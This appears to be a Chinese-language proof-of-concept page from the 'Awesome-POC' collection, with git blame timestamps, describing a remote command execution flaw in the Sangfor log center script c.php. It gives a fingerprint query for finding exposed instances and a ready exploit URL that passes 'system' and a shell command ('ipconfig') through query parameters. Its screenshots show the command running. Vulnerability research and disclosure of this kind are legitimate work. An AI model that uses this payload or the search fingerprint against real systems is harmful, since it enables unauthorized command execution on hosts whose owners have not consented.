Awesome-POC/Web应用漏洞/深信服 日志中心 c.php 远程命令执行漏洞.md

39 lines
510 B
Markdown
Raw Normal View History

2022-05-17 17:43:20 +08:00
# 深信服 日志中心 c.php 远程命令执行漏洞
## 漏洞描述
深信服 日志中心 c.php 远程命令执行漏洞使用与EDR相同模板和部分文件导致命令执行
## 漏洞影响
```
深信服 日志中心
```
2023-08-28 15:55:36 +08:00
## 网络测绘
2022-05-17 17:43:20 +08:00
```
body="isHighPerformance : !!SFIsHighPerformance,"
```
## 漏洞复现
登录页面如下
2022-12-05 11:09:28 +08:00
![](./images/202202091915868.png)
2022-05-17 17:43:20 +08:00
访问漏洞Url
```plain
/tool/log/c.php?strip_slashes=system&host=ipconfig
```
2022-12-05 11:09:28 +08:00
![](./images/202202091915736.png)